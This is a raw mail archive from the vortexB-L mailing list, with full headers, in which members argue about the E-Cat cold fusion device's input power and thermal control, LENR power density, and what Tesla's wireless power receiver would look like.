Joshua Cude wrote: > (I know I said I'd slink away, but many of the responses here are about > argument style and so on, so I think it's legitimate to reply to some of > them. I still plan debunking replies to some of Rothwell's longer posts, > but I'll put them elsewhere.) Butcha DIDN'T josh, ya DIDN'T. Really Rule 2 is that obscure? http://amasci.com/weird/vmore.html Obviously you can't control yourself, so I'm removing you from vortex and on to vortex B; the "flamer bucket" with no Rule-2 (or any others.) I think it has about seventy subscribers. Reply to this msg to continue. Everything remains the same, except it's vortexB-L instead of vortex-L, and there's no public archive. All who wish to continue the decades-long Believer-Disbeliever fight are free to indulge. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Wed Jun 5 08:19:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-0.8 required=5.0 tests=BAYES_00,DKIM_ADSP_CUSTOM_MED, DKIM_SIGNED,HTML_MESSAGE,NO_RELAYS,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 8C6769D6; Wed, 5 Jun 2013 08:19:23 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=NdpA27SBuG7c6qhbiPn5ADmgCGptGPN7YxShdHfR+JE=; b=ukK3bD7PmONeNzrh5y/Q4nOFs3QWwk28WmzvUdDo6y0vEHOZU3Oq+l5PznxW+vo5Dg G7owHwYOLGflqfiywR8wJeF8V5iG1/JfFwYq/rMnN67MO3A6CED1Fmkpl5ppeLgss+aT tE+0L1enymIP9JP52Ewkc//mmNBdNzLf3Dm9X8uzwFgASdKAeksMVoAqmxmtMzJZ8c/x z7mo7Gi/xc6KZu6X3y8Ub7kSvFSQhcAF/78BsfW6i8lbIS8ERZv7i0Yi1rmqqXhpzYJ9 4rgy1TPgtmOKEjEmtH72Dfr/z0APQM20XPjJZbma/FwUcEascXJnA8feZWPBv2x+thxy dN5A== MIME-Version: 1.0 X-Received: by 10.180.78.10 with SMTP id x10mr7052558wiw.30.1370445562201; Wed, 05 Jun 2013 08:19:22 -0700 (PDT) In-Reply-To: <8D02F7F4F03EFBD-FB8-636B6@webmail-vm001.sysops.aol.com> References: <51A472C2.2030305@gmail.com> <3D1EDDBA1230428292AE01259294F8C7@gateway.2wire.net> <408ACDF84808413D8E153FB88DC6284E@gateway.2wire.net> <065801ce5bc4$cdcee8d0$696cba70$@net> <08c801ce5caa$01597a40$040c6ec0$@net> <8D02B8AB7F0BB72-20A8-3D2C1@webmail-d236.sysops.aol.com> <8D02C1A77A697F6-1B54-42582@webmail-d216.sysops.aol.com> <8D02C44E5AE64A3-17E8-41DAF@webmail-m255.sysops.aol.com> <8D02F7F4F03EFBD-FB8-636B6@webmail-vm001.sysops.aol.com> Date: Wed, 5 Jun 2013 10:19:22 -0500 Message-ID: From: Joshua Cude To: "vortexb-l@eskimo.com" Content-Type: multipart/alternative; boundary=f46d043be17aeb4af404de69b8d6 Resent-Message-ID: <3oOo6tbMn5C.A.ybD.7b1rRB@mx2.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4705 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Ethics of the E-Cat investigation put into question Resent-Date: Wed, 5 Jun 2013 08:19:23 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.97.8 at mx2.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 946 --f46d043be17aeb4af404de69b8d6 Content-Type: text/plain; charset=ISO-8859-1 On Tue, Jun 4, 2013 at 4:12 PM, David Roberson wrote: > Josh, > > I promised not to keep responding to you in an effort to keep your posts > from flooding the bandwidth with non sense. > Yea, and I signed off for a few weeks of traveling, but I'm answering this in the airport, because it is so wrong. > The input power is not 360 watts peak as you have mistakenly repeated many times. It is instead two times that since the input duty cycle is generally 50%. What is your evidence for this? In the December experiment, they measure the power at the ecat, and they say it is stable at 360 W on the one second time scale over the entire experiment. And the temperature readings, on the same time scale are also stable. So this notion appears to be very wrong. And furthermore, only a fraction of the input power will actually make it to the fuel, as most of it will simply dissipate outward. > Now the ratio that you rail about becomes 1600/720 or only 2.22 times. Actually it is a bit more since the 1600 is average. Actually, it's a lot more, like at least 1600/160. That is, if the claims were right, the input is probably less than 10% of the output from the reactor. > So, now you might realize that you are generating only about 2 times the heat required for control. No, 10 times. > So Mr. Cude, do I have to spell it out for you again? You have not spelled anything out. You have only said that you could. If you have a model, you should be able to tell us how the reaction rate and heat loss of the reactor depend on temperature. > Anyhow, the immediate withdrawal of the drive heat leads to a situation where the internally generated heat can not continue to supply that lost to the outside plus that required to continue raising the temperature of the mass of the ECAT. So you say. But you've not shown that that is true for any realistic situation. > This lack of enough internally generated heat causes the temperature to reverse direction and the positive feedback takes over and forces the temperature to head downward. Huh? > At the right time, Rossi adds heat again to the system Whew! First, there is no cycling of the power in the December experiment, and second, there is no monitoring of the conditions in the reactor, so this "right time" would have to be known in advance, and be rock stable, but isn't stability the thing that's supposed to be a big problem. > and reverses the process such that the temperature begins its rise upward, powered to a great extent by the positive feedback. I do not know how to make this any easier for you. Yes you do. Explain your model. How do you propose the reaction rate and heat loss depend on temperature, to result in the alleged behavior? All you've done is spew gobbledygook hoping it will sound like something intelligent. But it sounds like the opposite. If you can model the behavior, you can do better than this vague and convoluted bullshit. > Please tell me that you now understand and save me from having to repeat myself. No one can understand what you've said. You have nothing to repeat. You don't seem to have the first idea of how to present an explanation. And what's more, your basic idea of cycling the power to keep it stable is completely inconsistent with the December run, where the power and temperature were stable. > I have given you the best instructions that I know how to arrange. If that's the case, then you clearly have nothing at all in the way of an explanation for how a small amount of heat can be used to control much larger positive thermal feedback, and especially no explanation for why any sane person would want to do it that way. --f46d043be17aeb4af404de69b8d6 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
On Tue, Jun 4, 2013 at 4:12 PM,= David Roberson <dlroberson@aol.com> wrote:
Josh,
=A0
I promised not to keep responding to you in an effort to keep your pos= ts from flooding the bandwidth with non sense. =A0

Yea, and I signed off for a fe= w weeks of traveling, but I'm answering this in the airport, because it= is so wrong.

> =A0The input = power is not 360 watts peak as you have mistakenly repeated many times.=A0 = It is instead two times that since the input duty cycle is generally 50%.= =A0

What is your evide= nce for this? In the December experiment, they measure the power at the eca= t, and they say it is stable at 360 W on the one second time scale over the= entire experiment. And the temperature readings, on the same time scale ar= e also stable. So this notion appears to be very wrong.

And furthermore, o= nly a fraction of the input power will actually make it to the fuel, as mos= t of it will simply dissipate outward.

> Now the ratio= that you rail about becomes 1600/720 or only 2.22 times.=A0 Actually it is= a bit more since the 1600 is average.

Actually, it's= a lot more, like at least 1600/160. That is, if the claims were right, the= input is probably less than 10% of the output from the reactor.

> So, now you m= ight realize that you are generating only about 2 times the heat required f= or control.

No, 10 times.

=A0

> So Mr. Cude, = do I have to spell it out for you again?=A0=A0

You have not spell= ed anything out. You have only said that you could. If you have a model, yo= u should be able to tell us how the reaction rate and heat loss of the reac= tor depend on temperature.

> Anyhow, the i= mmediate withdrawal of the drive heat leads to a situation where the intern= ally generated heat can not continue to supply that lost to the outside=A0p= lus that required to continue raising the temperature of the mass of the EC= AT.=A0=A0

So you say. But yo= u've not shown that that is true for any realistic situation.

> This lack of = enough internally generated heat causes the temperature to reverse directio= n and the positive feedback takes over and forces the temperature to head d= ownward.

Huh?

=A0

> At the right = time, Rossi adds heat again to the system=A0

Whew! First, there= is no cycling of the power in the December experiment, and second, there i= s no monitoring of the conditions in the reactor, so this "right time&= quot; would have to be known in advance, and be rock stable, but isn't = stability the thing that's supposed to be a big problem.

> and reverses = the process such that the temperature begins its rise upward, powered to a = great extent by the positive feedback.=A0 I do not know how to make this an= y easier for you.=A0

Yes you do. Explai= n your model. How do you propose the reaction rate and heat loss depend on = temperature, to result in the alleged behavior? All you've done is spew= gobbledygook hoping it will sound like something intelligent. But it sound= s like the opposite. If you can model the behavior, you can do better than = this vague and convoluted bullshit.

> Please tell m= e that you now understand and save me from having to repeat myself.=A0=A0

No one can underst= and what you've said. You have nothing to repeat. You don't seem to= have the first idea of how to present an explanation. And what's more,= your basic idea of cycling the power to keep it stable is completely incon= sistent with the December run, where the power and temperature were stable.=

>=A0 I have giv= en you the best instructions that I know how to arrange.

If that's the = case, then you clearly have nothing at all in the way of an explanation for= how a small amount of heat can be used to control much larger positive the= rmal feedback, and especially no explanation for why any sane person would = want to do it that way.


--f46d043be17aeb4af404de69b8d6-- From vortexb-l-request@eskimo.com Wed Jun 5 08:38:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-0.5 required=5.0 tests=BAYES_00,DKIM_ADSP_CUSTOM_MED, DKIM_SIGNED,HTML_MESSAGE,HTML_OBFUSCATE_05_10,NO_RELAYS,T_DKIM_INVALID autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id C7A1628DE; Wed, 5 Jun 2013 08:38:38 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=RoKQATU94HaG+ioO2+GEc+cb3qlqpROqbl32IrkZJ0M=; b=f8PivAX8nL43rZxcWGBK5R9Y1+sNXa4bt440m7/gfmX9zh2uFd+Wqm8dHzqubF9GyE o8Wp1b/5GBw0HYBHyDGfD7v+4NKEbp14nhGPjao9sPm7el+f6O43XvCSvUQMb5RHGYax iQ1vd7aUdWCPrRQU9TRIvF0B42brI9Se86F4uYwKWkhooU53zOkvIOrY+IiW8Hw0rHDz XxR2KZzBDSBtDYt18JVeoYvo2S1mGMN7ShUgpx/q6vQZCwN8gyJdWrMlLC1tQdDEO9Es IWwfO5Kwevwa/DHkF0VMgxAqq2yHGXI4+R2X92n6SXnNonjGTmx3wJa3ev3aKWefgOvY 7Vyg== MIME-Version: 1.0 X-Received: by 10.194.123.9 with SMTP id lw9mr29644044wjb.24.1370446717663; Wed, 05 Jun 2013 08:38:37 -0700 (PDT) In-Reply-To: References: <1623333542.129348.1369691925970.JavaMail.root@well.com> <121901ce5b38$e5d96950$b18c3bf0$@net> <8D02B8C4ACEF786-20A8-3D3CE@webmail-d236.sysops.aol.com> <8D02C1E431A3E76-1B54-42829@webmail-d216.sysops.aol.com> <8D02C467B4B0CA7-17E8-41EC7@webmail-m255.sysops.aol.com> Date: Wed, 5 Jun 2013 10:38:37 -0500 Message-ID: From: Joshua Cude To: "vortexb-l@eskimo.com" Content-Type: multipart/alternative; boundary=089e01228514ca40d704de69fd44 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4706 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Ekstrom critique of Levi et al. Resent-Date: Wed, 5 Jun 2013 08:38:38 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.97.8 at mx1.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 947 --089e01228514ca40d704de69fd44 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable On Tue, Jun 4, 2013 at 5:25 PM, Axil Axil wrote: > *=85whereas they refuse to explain the thermodynamics of a power density > 100 times that of uranium in a fission reactor without melting,=85* > > The fission reactor is extremely inefficient in its use of nuclear fuel. > The limiting factor in the nuclear fuel utilization is the zirconium > cladding that enclosed the fuel pellet. This pellet is exposed to extreme > neutron radiation and must retain the ultra-high gas (xenon) pressures th= at > the fission reaction produces. This fuel rod is removed from the fission > reactor with a large amount of fissile isotopes remaining in order to > protect the structural integrity of the pellet=92s structure. > > On the other hand, the LENR process can utilize a wide range of elements > at near perfect efficiency in an iterative reaction where each reaction > product in the feedstock of the next iterative cascade reaction. One atom > may be used 20 times in a LENR reaction before it is spent. > > I would estimate that the efficiency estimation of 100 times is an > underestimation of the effective power density efficiency difference > derived from these respective feedstocks. > > > You misunderstood the question. It was not about how the power density can reach such a high level. The power density in fissionfuel is *deliberately* limited to avoid melting. The question was about how you can get such a high power density without melting. Because, the cooling in a fission reactor is orders of magnitude more efficient than in an ecat, and the fuel has a much higher melting point. Someone suggested it still works in the molten state, and maybe that's the answer, but that'll throw Storms for a loop. Plus, the melting point of stainless is similar or lower than that of nickel, so some of the cylinder is gonna melt too, and that's gonna mess with the recipe, so it seems a little far-fetched. Oh wait, that makes it even more believable around here= . --089e01228514ca40d704de69fd44 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable
On Tue, Jun 4, 2013 at 5:25 PM,= Axil Axil <janap128@gmail.com> wrote:

=85whereas they refuse to = explain the thermodynamics of a power density 100 times that of uranium in = a fission reactor without melting,=85

The fission reactor is extremely inefficient in its use of nuclear fuel.= The limiting factor in the nuclear fuel utilization is the zirconium cladd= ing that enclosed the fuel pellet. This pellet is exposed to extreme neutro= n radiation and must retain the ultra-high gas (xenon) pressures that the f= ission reaction produces. This fuel rod is removed from the fission reactor= with a large amount of fissile isotopes remaining in order to protect the = structural integrity of the pellet=92s structure.

On the other hand, the LENR process can utilize a wide range of elements= at near perfect efficiency in an iterative reaction where each reaction pr= oduct in the feedstock of the next iterative cascade reaction. One atom may= be used 20 times in a LENR reaction before it is spent.

I would estimate that the efficiency estimation of 100 times is an under= estimation of the effective power density efficiency difference derived fro= m these respective feedstocks.




You misunderstood the question. It was not about= how the power density can reach such a high level. The power density in=A0= fissionfuel is *deliberately* limited to avoid melt= ing.


The question was about how you can get such a h= igh power density without melting. Because, the cooling in a=A0fission=A0reactor=A0is orders of magni= tude more efficient than in an ecat, and the fuel has a much higher melting= point.


Someone suggested it still works in the molten = state, and maybe that's the answer, but that'll throw Storms for a = loop. Plus, the melting point of stainless is similar or lower than that of= nickel, so some of the cylinder is gonna melt too, and that's gonna me= ss with the recipe, so it seems a little far-fetched. Oh wait, that makes i= t even more believable around here.

=A0
--089e01228514ca40d704de69fd44-- From vortexb-l-request@eskimo.com Wed Feb 12 05:42:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=1.0 required=5.0 tests=BAYES_20,HTML_MESSAGE, NO_RELAYS,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 5DE3CBA4; Wed, 12 Feb 2014 05:42:08 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (ptd.net: 204.186.204.104 is authorized to use 'revtec@ptd.net' in 'mfrom' identity (mechanism 'ip4:204.186.204.0/24' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="revtec@ptd.net"; helo=proxyz12.mailnet.ptd.net; client-ip=204.186.204.104 From: "Jeff Fink" To: Date: Wed, 12 Feb 2014 08:42:05 -0500 Message-ID: <7FA28610BDDF4A889A3D4677FD08934C@REVTEC1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_004C_01CF27CE.4EC23390" X-Mailer: Microsoft Office Outlook 11 Thread-Index: Ac8n+Dc9imqLfJ3ZSpODXt/bqx/7HQ== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4707 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Tesla Receiver Resent-Date: Wed, 12 Feb 2014 05:42:08 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx1.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 948 This is a multi-part message in MIME format. ------=_NextPart_000_004C_01CF27CE.4EC23390 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit We all know about Tesla's claim to be able to transmit power great distances, and we have some idea of what the transmitter was to look like, but what was the receiver supposed to look like? You would need to receive the power on some kind of device. Any ideas? ------=_NextPart_000_004C_01CF27CE.4EC23390 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

We all know about Tesla’s claim to be able to = transmit power great distances, and we have some idea of what the transmitter was = to look like, but what was the receiver supposed to look like?  You = would need to receive the power on some kind of device.  Any = ideas?

 

 

 

------=_NextPart_000_004C_01CF27CE.4EC23390-- From vortexb-l-request@eskimo.com Wed Feb 12 08:21:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-0.9 required=5.0 tests=BAYES_00,BODY_URI_ONLY, DKIM_SIGNED,DKIM_VALID,RDNS_NONE,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id D024B84B; Wed, 12 Feb 2014 08:21:59 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (aol.com: 64.12.143.75 is authorized to use 'LORENHEYER@aol.com' in 'mfrom' identity (mechanism 'ptr:mx.aol.com' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="LORENHEYER@aol.com"; helo=omr-m01.mx.aol.com; client-ip=64.12.143.75 From: LORENHEYER@aol.com Full-name: LORENHEYER Message-ID: Date: Wed, 12 Feb 2014 11:21:58 -0500 (EST) Subject: Re: [VoB]:Tesla Receiver To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1392222118; bh=Z0m4Uo8ODJ+NwHXedNnRDeztG944vm5NGYnPgOMOzBY=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=wDZJqjuwB30jGVuXE/hWUqRZLeYm+TA1i8AqioXODD/NQM0il66iht85Z5NFLKSv7 GHnHuTNrTggj4+MjC0JZZ+SjEjUxsLxs9ZqumK04oX+sVCswDyPGMkaJN8dsRXBQ+/ nMRACZISK9hkLbYj4tso6a3zjvpD5xU+sflgqaes= x-aol-sid: 3039ac1a857052fb9fa64f27 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4708 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 12 Feb 2014 08:21:59 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx1.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 949 Tesla is a crock, so try to get over it. The only thing worth persuing is genuine UFO Technology, and by the time you figure that out, human beings will be as obsolete or extinct as the Dinosaur. From vortexb-l-request@eskimo.com Wed Feb 12 09:59:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-2.0 required=5.0 tests=BAYES_00,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,NO_RELAYS,SPF_PASS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 32046151B; Wed, 12 Feb 2014 09:59:38 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (gmail.com ... _spf.google.com: Sender is authorized to use 'hohlraum@gmail.com' in 'mfrom' identity (mechanism 'include:_netblocks.google.com' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="hohlraum@gmail.com"; helo=mail-oa0-f41.google.com; client-ip=209.85.219.41 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=mJjJ7Fa2c02P1rcLELLUOucTobXmhzasN3gjCWnann4=; b=HxXWuvxrFGLDsaBK5MGPjALa4zJLtJknlG86+h70MLO1ti+eraYflRTmnEgsg60AqO yxgo23+gu7UJW8Xtii//Y+7SceZUNZ9K+HWkER9RdB/Ha1UPjh+wgWheLOiyjf4oK7Zs xaMHCYPR+nVKuqpYxRKIhNVfmsTWrQyr2Hr5zkLOXMFbDW/42WamKNG7zl/UgqaVX/F4 y8nr61azmWQLW8CQSDsvGoPS8C81+cok0Z17ubyWDXgSjUQR1wWHV94D68wnaHe4YE/E 2vybl1PS3ZEZColjJnx+lL8gVnyGEm4/EoGm/QVwS9lgHNbeVJ5JOhgkwHVy24yLiCjX lhQg== MIME-Version: 1.0 X-Received: by 10.182.72.234 with SMTP id g10mr38114155obv.21.1392227977057; Wed, 12 Feb 2014 09:59:37 -0800 (PST) In-Reply-To: <7FA28610BDDF4A889A3D4677FD08934C@REVTEC1> References: <7FA28610BDDF4A889A3D4677FD08934C@REVTEC1> Date: Wed, 12 Feb 2014 12:59:36 -0500 Message-ID: Subject: Re: [VoB]:Tesla Receiver From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4709 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 12 Feb 2014 09:59:38 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx1.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 950 Google is your friend. Enjoy http://goo.gl/Q0XOwr On Wed, Feb 12, 2014 at 8:42 AM, Jeff Fink wrote: > > > We all know about Tesla's claim to be able to transmit power great > distances, and we have some idea of what the transmitter was to look like, > but what was the receiver supposed to look like? You would need to receive > the power on some kind of device. Any ideas? > > > > > > From vortexb-l-request@eskimo.com Thu Feb 13 13:49:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=0.8 required=5.0 tests=BAYES_00,DKIM_ADSP_CUSTOM_MED, DKIM_SIGNED,FORGED_YAHOO_RCVD,HTML_MESSAGE,NO_RELAYS,T_DKIM_INVALID autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 7BB8BEFF; Thu, 13 Feb 2014 13:49:05 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: none (yahoo.com: No applicable sender policy available) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="harvich@yahoo.com"; helo=nm21-vm3.bullet.mail.ne1.yahoo.com; client-ip=98.138.91.151 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 916115.35736.bm@omp1010.mail.ne1.yahoo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1392328143; bh=XbBUEoJ7rGLCNmlnjs4m8XU+lTon90hJC8/UlnSkvMA=; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=UyepoU5ie0vYcUKQM7Om/f6ZggFPtaoAkSlHjHv7RdGP+FV5tA8WRjRmo1m/DjeXESVAkOX87JS8VIcAGj0JaseoTVmbcyXhgh/47E+d6NFLQW+znrnPmj4Hy3WCQyQECc2SIiBXsSMxf4rsgL7j0CZMLwvh1e6TqPQ8/Y48Hek= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=2GM74bIjJJ+IXzWtV+iQxUEw44+lWXA6nyQ17nMZXZ02toZ8G6xMDCpbuWC8VaOr1XDqBvWZz6qDGhA1HPz4T2AUQIvZG4BNzXOvyqxyvBCIjjHq7jyo+X7Beb+z07G3FjJiNjnfJ2j+jO3Aw+w5f6tOpcivKyyCD+XYFD0YadU=; X-YMail-OSG: ZFIrxDMVM1lmxfxo3SfWC0T_fxTYvuRuP4O_t5x1AxhMCu7 ON9Zl1dO4iLHI_T1judNbCrquq7OnprB0cz0XAbIBeC1lEyiDtS5k5ZLVaIf vis1dlj2kY82t8XOIcxRRqq6UmP_5ghn4NIinnVJApaJA.2qRlgCA5ki1jgv qQ1pSUyGlUrG0R5esxZSv9uKKiKuHpz6r8NsBOwExBJpfuZi54grfmrmBq7P ZdX0ORmisIjiLKI4lSoRVMyJ7bdHeIDfl6gJNnm3OObpqmHX.9XUfPG_98VV LcWLXDORukcMxlaRaN28MCKEglgd1JWgTozju6Fi9D6tPCCFWuvMX_kLRdkq keJmw6mwpHy3o3uKOF5Ks9IhL9eRd_6smJVvmBiKkvqjb3Qp0gl_1nASJpbw Q5M1.C6QW7YZLX6c7sY5afEZUg9F2vv6EXEPKyil4_Dp08KskKkICHL4WOJ4 wGbaDBRyGnzogmRz0KAJqzP4fg1kDLSGPvwWYZQXSnchYjlNr0T.f1Xz4GLi hP6uqVyfLze3VLq74x3xhFkV_xCAO3wXIUpqEHak2xpzGHmzA0G4ja8Z7ROb ILi5RSM38f4z1LHRUXZ9A3a1RBzptm5W3E0tujMXZYAAbFfyEA0Srm4tSwn8 B2XFxqRyatJLgys3TXeF49jqD43QUhnroQcSSA4d4Ju40H8tkskVOEZ0LpxG .p1wURRjzFYCBxOGa3X1Krs5uAT2hOmlZS8_LPaJ886ztIIPpXDYE.UZyFZ9 Ns0.R_sC228JxTecXGGMUoQh._Ahjid9ctdltFatJBOW7DpOfIEFzki9QbRE w34PwlK1.k92DC8Zv X-Rocket-MIMEInfo: 002.001,SXQgaXMgcG9zc2libGUgdG8gY3JlYXRlIGEgdm9sdGFnZSB2ZWN0b3IgdGhhdCByb3RhdGVzIGluIHRpbWUgc28gdGhhdCBlc3NlbnRpYWxseSBhIGhldGVyb2R5bmluZyBlZmZlY3QgaXMgbWFkZSB3aGVyZcKgIHRoZSBvbmx5IG1hY2hpbmUgY29uc3RydWN0ZWQgdG8gc2hvdyB0aGlzIGVmZmVjdCBpcyBrbm93biBhcyB0aGUgNjY2IG1hY2hpbmUuIEV2ZXJ5IDI0IGN5Y2xlcyBvdXQgb2YgYSB0b3RhbCBvZiA0NjUgY3ljbGVzIHBlciBzZWNvbmQgdGhpcyBjaXJjbGluZyAic2VwYXJhdGVkIiBtYWduZXRpYyABMAEBAQE- X-Mailer: YahooMailWebService/0.8.177.636 References: <7FA28610BDDF4A889A3D4677FD08934C@REVTEC1> Message-ID: <1392328143.22481.YahooMailNeo@web122306.mail.ne1.yahoo.com> Date: Thu, 13 Feb 2014 13:49:03 -0800 (PST) From: Harvey Norris Reply-To: Harvey Norris Subject: Re: [VoB]:Tesla Receiver To: "vortexb-l@eskimo.com" In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-140725594-803420048-1392328143=:22481" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4710 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Thu, 13 Feb 2014 13:49:05 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx2.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 951 ---140725594-803420048-1392328143=:22481 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable It is possible to create a voltage vector that rotates in time so that esse= ntially a heterodyning effect is made where=A0 the only machine constructed= to show this effect is known as the 666 machine. Every 24 cycles out of a = total of 465 cycles per second this circling "separated" magnetic field rea= cts with its input where situations are somewhat easily engineering whereby= a portion of the normal alternator function as a generator is reversed and= instead a portion of the machine begins to work backwards, instead propell= ing electrical energy back to its source, whereby this additional voltage t= hen registers on the phase being affected.=0Ahttp://www.flickr.com/photos/h= arvich/8291688443/=0AA "third" magnetic interaction 